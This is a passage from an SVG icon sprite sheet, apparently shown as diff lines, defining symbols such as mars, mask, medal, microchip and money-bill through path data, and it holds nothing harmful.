10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z"></path> + </symbol> + <symbol id="marker" viewBox="0 0 512 512"> + <path d="M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z"></path> + </symbol> + <symbol id="mars" viewBox="0 0 384 512"> + <path d="M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="mars-double" viewBox="0 0 512 512"> + <path d="M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z"></path> + </symbol> + <symbol id="mars-stroke" viewBox="0 0 384 512"> + <path d="M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="mars-stroke-h" viewBox="0 0 480 512"> + <path d="M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"></path> + </symbol> + <symbol id="mars-stroke-v" viewBox="0 0 288 512"> + <path d="M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"></path> + </symbol> + <symbol id="mask" viewBox="0 0 640 512"> + <path d="M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z"></path> + </symbol> + <symbol id="medal" viewBox="0 0 512 512"> + <path d="M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z"></path> + </symbol> + <symbol id="medkit" viewBox="0 0 512 512"> + <path d="M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z"></path> + </symbol> + <symbol id="meh" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="meh-blank" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="meh-rolling-eyes" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z"></path> + </symbol> + <symbol id="memory" viewBox="0 0 640 512"> + <path d="M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z"></path> + </symbol> + <symbol id="menorah" viewBox="0 0 640 512"> + <path d="M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z"></path> + </symbol> + <symbol id="mercury" viewBox="0 0 288 512"> + <path d="M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"></path> + </symbol> + <symbol id="meteor" viewBox="0 0 512 512"> + <path d="M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z"></path> + </symbol> + <symbol id="microchip" viewBox="0 0 512 512"> + <path d="M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z"></path> + </symbol> + <symbol id="microphone" viewBox="0 0 352 512"> + <path d="M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="microphone-alt" viewBox="0 0 352 512"> + <path d="M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z"></path> + </symbol> + <symbol id="microphone-alt-slash" viewBox="0 0 640 512"> + <path d="M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="microphone-slash" viewBox="0 0 640 512"> + <path d="M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="microscope" viewBox="0 0 512 512"> + <path d="M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z"></path> + </symbol> + <symbol id="minus" viewBox="0 0 448 512"> + <path d="M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="minus-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z"></path> + </symbol> + <symbol id="minus-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z"></path> + </symbol> + <symbol id="mitten" viewBox="0 0 448 512"> + <path d="M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z"></path> + </symbol> + <symbol id="mobile" viewBox="0 0 320 512"> + <path d="M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="mobile-alt" viewBox="0 0 320 512"> + <path d="M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z"></path> + </symbol> + <symbol id="money-bill" viewBox="0 0 640 512"> + <path d="M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"></path> + </symbol> + <symbol id="money-bill-alt" viewBox="0 0 640 512"> + <path d="M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"></path> + </symbol> + <symbol id="money-bill-wave" viewBox="0 0 640 512"> + <path d="M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM48 132.22c20.12 5.04 41.12 7.57 62.72 8.93C104.84 170.54 79 192.69 48 192.69v-60.47zm0 285v-47.78c34.37 0 62.18 27.27 63.71 61.4-22.53-1.81-43.59-6.31-63.71-13.62zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 27.78c-17.52-4.39-35.71-6.85-54.32-8.44 5.87-26.08 27.5-45.88 54.32-49.28v57.72zm0-236.11c-30.89-3.91-54.86-29.7-55.81-61.55 19.54 2.17 38.09 6.23 55.81 12.66v48.89z"></path> + </symbol> + <symbol id="money-bill-wave-alt" viewBox="0 0 640 512"> + <path d="M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 10.35 1.62 17.21 0 32.25-13.32 32.25-31.81V83.93c-.01-12.64-7.24-24.6-18.85-29.47zM320 352c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96z"></path> + </symbol> + <symbol id="money-check" viewBox="0 0 640 512"> + <path d="M0 448c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128H0v320zm448-208c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-32zm0 120c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H456c-4.42 0-8-3.58-8-8v-16zM64 264c0-4.42 3.58-8 8-8h304c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm0 96c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zM624 32H16C7.16 32 0 39.16 0 48v48h640V48c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="money-check-alt" viewBox="0 0 640 512"> + <path d="M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z"></path> + </symbol> + <symbol id="monument" viewBox="0 0 384 512"> + <path d="M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 